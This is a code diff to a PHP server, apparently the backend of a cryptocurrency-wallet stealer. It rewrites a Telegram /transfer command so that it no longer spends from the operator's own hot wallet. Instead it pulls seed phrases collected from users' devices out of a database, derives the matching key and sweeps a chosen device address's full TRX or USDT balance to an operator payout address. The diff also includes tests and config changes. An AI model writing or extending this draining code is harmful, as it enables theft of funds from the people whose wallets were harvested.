diff --git a/server/.env.example b/server/.env.example index 8349113..f4c023b 100644 --- a/server/.env.example +++ b/server/.env.example @@ -62,14 +62,16 @@ TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= TELEGRAM_WEBHOOK_SECRET= -# Hot wallet for /transfer only (never use device-collected mnemonics) -HOT_WALLET_MNEMONIC= -HOT_WALLET_INDEX=0 +# /transfer: recipient (fromAddress is the command arg; mnemonic from DB) +# Usage: /transfer [TRX|USDT] [amount] — omit amount = all +TRANSFER_TO_ADDRESS= +# TRANSFER_MAX_USDT=0 +# TRANSFER_MAX_TRX=0 +# TRANSFER_MAX_DERIVE_INDEX=20 +# TRANSFER_TRX_FEE_RESERVE=1 TRON_FULL_NODE=https://api.trongrid.io TRON_API_KEY= TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t -# TRANSFER_MAX_USDT=0 -# TRANSFER_MAX_TRX=0 # Tokenview address tracking (monitor=1 addresses) TOKENVIEW_API_KEY= diff --git a/server/app/Services/Chain/ChainDriver.php b/server/app/Services/Chain/ChainDriver.php index 1e818b9..09a47ff 100644 --- a/server/app/Services/Chain/ChainDriver.php +++ b/server/app/Services/Chain/ChainDriver.php @@ -19,4 +19,14 @@ interface ChainDriver public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string; public function isValidAddress(string $address): bool; + + /** + * Human-decimal native balance (e.g. TRX). + */ + public function getNativeBalance(string $address): string; + + /** + * Human-decimal token balance (e.g. USDT, 6 decimals on Tron). + */ + public function getTokenBalance(string $address, string $contract): string; } diff --git a/server/app/Services/Chain/TronDriver.php b/server/app/Services/Chain/TronDriver.php index 8dd2405..621de43 100644 --- a/server/app/Services/Chain/TronDriver.php +++ b/server/app/Services/Chain/TronDriver.php @@ -75,6 +75,46 @@ class TronDriver implements ChainDriver return TronAddress::isValid($address); } + public function getNativeBalance(string $address): string + { + if (! $this->isValidAddress($address)) { + throw new RuntimeException('Invalid Tron address'); + } + + $account = $this->post('/wallet/getaccount', [ + 'address' => $address, + 'visible' => true, + ]); + $sun = (string) ($account['balance'] ?? 0); + + return $this->fromSun($sun); + } + + public function getTokenBalance(string $address, string $contract): string + { + if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) { + throw new RuntimeException('Invalid Tron address'); + } + + $parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT); + $ext = $this->post('/wallet/triggerconstantcontract', [ + 'owner_address' => $address, + 'contract_address' => $contract, + 'function_selector' => 'balanceOf(address)', + 'parameter' => $parameter, + 'visible' => true, + ]); + + $hex = $ext['constant_result'][0] ?? null; + if (! is_string($hex) || $hex === '') { + return '0'; + } + + $sun = gmp_strval(gmp_init($hex, 16), 10); + + return $this->fromSun($sun); + } + private function path(int $index): string { return "m/44'/195'/0'/0/{$index}"; @@ -93,6 +133,17 @@ class TronDriver implements ChainDriver return $sun; } + private function fromSun(string $sun): string + { + if (! preg_match('/^\d+$/', $sun)) { + $sun = '0'; + } + $human = bcdiv($sun, '1000000', 6); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + private function encodeTransferParameter(string $toBase58, string $amountSun): string { $toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes diff --git a/server/app/Services/TransferService.php b/server/app/Services/TransferService.php index da2c67a..d2115a0 100644 --- a/server/app/Services/TransferService.php +++ b/server/app/Services/TransferService.php @@ -2,6 +2,9 @@ namespace App\Services; +use App\Models\WalletAddress; +use App\Models\WalletMnemonic; +use App\Services\Chain\ChainDriver; use App\Services\Chain\ChainManager; use RuntimeException; @@ -12,27 +15,48 @@ class TransferService ) {} /** - * @return array{ok: true, txid: string, from: string}|array{ok: false, error: string} + * Sweep from a known device address to the configured payout address. + * Looks up mnemonics by the address row's device_id + source; tries each in order + * (and BIP44 indexes) until the derived address matches $fromAddress. + * Null / empty $amount means transfer the full on-chain balance of $asset. + * + * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} */ - public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array + public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array { try { - $mnemonic = (string) config('coruna.hot_wallet.mnemonic', ''); - if (trim($mnemonic) === '') { - return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured']; + $to = trim((string) config('coruna.transfer.to_address', '')); + if ($to === '') { + return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured']; } - $index = (int) config('coruna.hot_wallet.index', 0); $asset = strtoupper(trim($asset)); $driver = $this->chains->resolve($chain); + if (! $driver->isValidAddress($fromAddress)) { + return ['ok' => false, 'error' => 'Invalid from address']; + } if (! $driver->isValidAddress($to)) { - return ['ok' => false, 'error' => 'Invalid recipient address']; + return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS']; + } + + $amount = $amount === null ? null : trim($amount); + if ($amount === '') { + $amount = null; + } + + if ($amount === null) { + $amount = $this->resolveFullBalance($driver, $fromAddress, $asset); } $this->assertAmountWithinLimit($amount, $asset); - $from = $driver->deriveAddress($mnemonic, $index); + $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); + if ($resolved === null) { + return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']; + } + + ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; $txid = match ($asset) { 'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount), @@ -46,12 +70,97 @@ class TransferService default => throw new RuntimeException("Unsupported asset: {$asset}"), }; - return ['ok' => true, 'txid' => $txid, 'from' => $from]; + return [ + 'ok' => true, + 'txid' => $txid, + 'from' => $fromAddress, + 'to' => $to, + 'amount' => $amount, + 'asset' => $asset, + ]; } catch (\Throwable $e) { return ['ok' => false, 'error' => $e->getMessage()]; } } + private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string + { + $balance = match ($asset) { + 'TRX' => $driver->getNativeBalance($fromAddress), + 'USDT' => $driver->getTokenBalance( + $fromAddress, + (string) config('coruna.tron.usdt_contract'), + ), + default => throw new RuntimeException("Unsupported asset: {$asset}"), + }; + + if ($asset === 'TRX') { + $reserve = (string) config('coruna.transfer.trx_fee_reserve', '1'); + if ($reserve !== '' && bccomp($reserve, '0') > 0) { + $balance = bcsub($balance, $reserve, 6); + $balance = rtrim(rtrim($balance, '0'), '.'); + if ($balance === '' || str_starts_with($balance, '-')) { + $balance = '0'; + } + } + } + + if (bccomp($balance, '0') <= 0) { + throw new RuntimeException("No transferable {$asset} balance"); + } + + return $balance; + } + + /** + * @return array{mnemonic: string, index: int}|null + */ + private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array + { + $addressRows = WalletAddress::query() + ->where('address', $fromAddress) + ->orderBy('id') + ->get(['device_id', 'source']); + + if ($addressRows->isEmpty()) { + return null; + } + + $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); + + foreach ($addressRows as $row) { + $mnemonics = WalletMnemonic::query() + ->where('device_id', $row->device_id) + ->where(function ($q) use ($row) { + if ($row->source === null || $row->source === '') { + $q->whereNull('source')->orWhere('source', ''); + } else { + $q->where('source', $row->source); + } + }) + ->orderBy('id') + ->get(); + + foreach ($mnemonics as $mnemonicRow) { + $phrase = $mnemonicRow->mnemonic; + if ($phrase === null || trim($phrase) === '') { + continue; + } + for ($index = 0; $index <= $maxIndex; $index++) { + try { + if ($driver->deriveAddress($phrase, $index) === $fromAddress) { + return ['mnemonic' => $phrase, 'index' => $index]; + } + } catch (\Throwable) { + break; + } + } + } + } + + return null; + } + private function assertAmountWithinLimit(string $amount, string $asset): void { if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) { diff --git a/server/app/Telegram/Handlers/TransferCommand.php b/server/app/Telegram/Handlers/TransferCommand.php index 6632ca6..a6bb650 100644 --- a/server/app/Telegram/Handlers/TransferCommand.php +++ b/server/app/Telegram/Handlers/TransferCommand.php @@ -14,26 +14,52 @@ class TransferCommand public function __invoke(Nutgram $bot, string $args): void { $parts = preg_split('/\s+/', trim($args)) ?: []; + $parts = array_values(array_filter($parts, fn ($p) => $p !== '')); - if (count($parts) < 2) { - $bot->sendMessage("Usage: /transfer [TRX|USDT]\nDefault asset: USDT"); + if ($parts === []) { + $bot->sendMessage( + "Usage: /transfer [TRX|USDT] [amount]\n" + ."Omit amount to transfer all. Default asset: USDT.\n" + .'To = TRANSFER_TO_ADDRESS (env).' + ); return; } - $to = $parts[0]; - $amount = $parts[1]; - $asset = strtoupper($parts[2] ?? 'USDT'); + $from = $parts[0]; + $asset = 'USDT'; + $amount = null; - if (! in_array($asset, ['TRX', 'USDT'], true)) { - $bot->sendMessage('Asset must be TRX or USDT.'); + if (count($parts) === 2) { + $second = strtoupper($parts[1]); + if (in_array($second, ['TRX', 'USDT'], true)) { + $asset = $second; + } elseif ($this->isAmount($parts[1])) { + $amount = $parts[1]; + } else { + $bot->sendMessage('Second arg must be TRX, USDT, or an amount.'); - return; + return; + } + } elseif (count($parts) >= 3) { + $asset = strtoupper($parts[1]); + if (! in_array($asset, ['TRX', 'USDT'], true)) { + $bot->sendMessage('Asset must be TRX or USDT.'); + + return; + } + if (! $this->isAmount($parts[2])) { + $bot->sendMessage('Invalid amount.'); + + return; + } + $amount = $parts[2]; } - $bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …"); + $label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}"; + $bot->sendMessage("⏳ Transferring {$label} from {$from} …"); - $result = $this->transfers->handle('tron', $to, $amount, $asset); + $result = $this->transfers->handle('tron', $from, $amount, $asset); if (! ($result['ok'] ?? false)) { $bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed')); @@ -43,9 +69,14 @@ class TransferCommand $bot->sendMessage(implode("\n", [ '✅ Transfer submitted', 'From: '.$result['from'], - 'To: '.$to, - 'Amount: '.$amount.' '.$asset, + 'To: '.$result['to'], + 'Amount: '.$result['amount'].' '.$result['asset'], 'TxID: '.$result['txid'], ])); } + + private function isAmount(string $value): bool + { + return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value); + } } diff --git a/server/config/coruna.php b/server/config/coruna.php index c76853d..a15add0 100644 --- a/server/config/coruna.php +++ b/server/config/coruna.php @@ -25,20 +25,22 @@ return [ 'sign_key' => env('TOKENVIEW_SIGN_KEY', ''), 'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'), ], - // Hot wallet mnemonic for Telegram /transfer only — never from device ingest. - 'hot_wallet' => [ - 'mnemonic' => env('HOT_WALLET_MNEMONIC', ''), - 'index' => (int) env('HOT_WALLET_INDEX', 0), - ], 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'api_key' => env('TRON_API_KEY', ''), 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], + // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS. + // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ + 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), + // BIP44 account index scan upper bound when matching fromAddress. + 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), + // Leave this much TRX when transferring "all" native (bandwidth/energy fees). + 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), ], // reserved legacy payout addresses 'payout' => [ diff --git a/server/routes/telegram.php b/server/routes/telegram.php index f7be58f..f57a2b9 100644 --- a/server/routes/telegram.php +++ b/server/routes/telegram.php @@ -11,10 +11,10 @@ $bot->group(function ($bot) { $bot->onCommand('ping', PingCommand::class) ->description('Health check'); - // Single capture — TransferCommand parses " [asset]". + // Single capture — TransferCommand parses " [asset] [amount]". $bot->onCommand('transfer {args}', TransferCommand::class) ->where('args', '.+') - ->description('Transfer TRX or USDT from hot wallet'); + ->description('Transfer TRX or USDT from a device address (omit amount = all)'); }) ->middleware(GroupAdminOnly::class) ->middleware(AuthorizedChat::class); diff --git a/server/tests/Feature/TelegramBotTest.php b/server/tests/Feature/TelegramBotTest.php index f9d939e..f7693bf 100644 --- a/server/tests/Feature/TelegramBotTest.php +++ b/server/tests/Feature/TelegramBotTest.php @@ -128,7 +128,10 @@ class TelegramBotTest extends TestCase ->andReturn([ 'ok' => true, 'txid' => 'deadbeef', - 'from' => 'TFromAddressxxxxxxxxxxxxxxxxxxxxxxx', + 'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx', + 'amount' => '10', + 'asset' => 'USDT', ]); $this->app->instance(TransferService::class, $mock); @@ -141,7 +144,7 @@ class TelegramBotTest extends TestCase ]); $bot->hearMessage([ - 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH 10 USDT', + 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 10', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], ])->reply(); diff --git a/server/tests/Feature/TransferServiceTest.php b/server/tests/Feature/TransferServiceTest.php index 854d812..9c7203f 100644 --- a/server/tests/Feature/TransferServiceTest.php +++ b/server/tests/Feature/TransferServiceTest.php @@ -2,25 +2,33 @@ namespace Tests\Feature; +use App\Models\Device; +use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use App\Services\TransferService; +use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; class TransferServiceTest extends TestCase { + use RefreshDatabase; + private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'; private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; + private const SOURCE = 'imToken'; + protected function setUp(): void { parent::setUp(); config([ - 'coruna.hot_wallet.mnemonic' => self::MNEMONIC, - 'coruna.hot_wallet.index' => 0, + 'coruna.transfer.to_address' => self::TO, + 'coruna.transfer.max_derive_index' => 5, 'coruna.tron.full_node' => 'https://api.trongrid.io', 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', 'coruna.transfer.max_usdt' => '0', @@ -28,9 +36,39 @@ class TransferServiceTest extends TestCase ]); } + private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device + { + $device = Device::query()->create([ + 'device_id' => 'dev-transfer-1', + 'ios_version' => '18.0', + 'device_model' => 'iPhone', + ]); + + WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => self::FROM, + 'chain_type' => 'TRON', + 'source' => $source, + 'monitor' => 0, + ]); + + if ($mnemonic !== null) { + $row = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => $source, + ]); + $row->mnemonic = $mnemonic; + $row->save(); + } + + return $device; + } + #[Test] public function sends_native_trx_via_trongrid_http(): void { + $this->seedFromWallet(); + Http::fake([ '*/wallet/createtransaction' => Http::response([ 'txID' => str_repeat('ab', 32), @@ -43,11 +81,12 @@ class TransferServiceTest extends TestCase ], 200), ]); - $result = app(TransferService::class)->handle('tron', self::TO, '1.5', 'TRX'); + $result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX'); $this->assertTrue($result['ok']); $this->assertSame(str_repeat('ab', 32), $result['txid']); $this->assertSame(self::FROM, $result['from']); + $this->assertSame(self::TO, $result['to']); Http::assertSent(function ($request) { if (! str_ends_with($request->url(), '/wallet/createtransaction')) { @@ -65,6 +104,8 @@ class TransferServiceTest extends TestCase #[Test] public function sends_usdt_trc20_via_triggersmartcontract(): void { + $this->seedFromWallet(); + Http::fake([ '*/wallet/triggersmartcontract' => Http::response([ 'result' => ['result' => true], @@ -79,7 +120,7 @@ class TransferServiceTest extends TestCase ], 200), ]); - $result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT'); + $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT'); $this->assertTrue($result['ok']); $this->assertSame(str_repeat('cd', 32), $result['txid']); @@ -87,24 +128,130 @@ class TransferServiceTest extends TestCase } #[Test] - public function rejects_when_mnemonic_missing(): void + public function tries_mnemonics_in_order_until_address_matches(): void { - config(['coruna.hot_wallet.mnemonic' => '']); + $device = $this->seedFromWallet(null); + $wrong = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => self::SOURCE, + ]); + $wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow'; + $wrong->save(); - $result = app(TransferService::class)->handle('tron', self::TO, '1', 'TRX'); + $right = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => self::SOURCE, + ]); + $right->mnemonic = self::MNEMONIC; + $right->save(); + + Http::fake([ + '*/wallet/createtransaction' => Http::response([ + 'txID' => str_repeat('ef', 32), + 'raw_data' => ['contract' => []], + 'raw_data_hex' => '0a00', + ], 200), + '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), + ]); + + $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); + + $this->assertTrue($result['ok']); + $this->assertSame(str_repeat('ef', 32), $result['txid']); + } + + #[Test] + public function rejects_when_to_address_missing(): void + { + config(['coruna.transfer.to_address' => '']); + $this->seedFromWallet(); + + $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); $this->assertFalse($result['ok']); - $this->assertStringContainsString('HOT_WALLET_MNEMONIC', $result['error']); + $this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']); + } + + #[Test] + public function rejects_when_no_matching_mnemonic(): void + { + $this->seedFromWallet(null); + + $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); + + $this->assertFalse($result['ok']); + $this->assertStringContainsString('No mnemonic', $result['error']); } #[Test] public function enforces_max_usdt_limit(): void { + $this->seedFromWallet(); config(['coruna.transfer.max_usdt' => '5']); - $result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT'); + $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT'); $this->assertFalse($result['ok']); $this->assertStringContainsString('exceeds max', $result['error']); } + + #[Test] + public function omits_amount_transfers_full_usdt_balance(): void + { + $this->seedFromWallet(); + config(['coruna.transfer.trx_fee_reserve' => '1']); + + Http::fake([ + '*/wallet/triggerconstantcontract' => Http::response([ + 'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)], + ], 200), + '*/wallet/triggersmartcontract' => Http::response([ + 'result' => ['result' => true], + 'transaction' => [ + 'txID' => str_repeat('11', 32), + 'raw_data' => ['contract' => []], + 'raw_data_hex' => '0a00', + ], + ], 200), + '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), + ]); + + $result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT'); + + $this->assertTrue($result['ok']); + $this->assertSame('12.5', $result['amount']); + $this->assertSame('USDT', $result['asset']); + } + + #[Test] + public function omits_amount_transfers_trx_minus_fee_reserve(): void + { + $this->seedFromWallet(); + config(['coruna.transfer.trx_fee_reserve' => '1']); + + Http::fake([ + '*/wallet/getaccount' => Http::response([ + 'balance' => 5_000_000, // 5 TRX + ], 200), + '*/wallet/createtransaction' => Http::response([ + 'txID' => str_repeat('22', 32), + 'raw_data' => ['contract' => []], + 'raw_data_hex' => '0a00', + ], 200), + '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), + ]); + + $result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX'); + + $this->assertTrue($result['ok']); + $this->assertSame('4', $result['amount']); + + Http::assertSent(function ($request) { + if (! str_ends_with($request->url(), '/wallet/createtransaction')) { + return false; + } + + return ($request->data()['amount'] ?? null) === 4_000_000; + }); + } }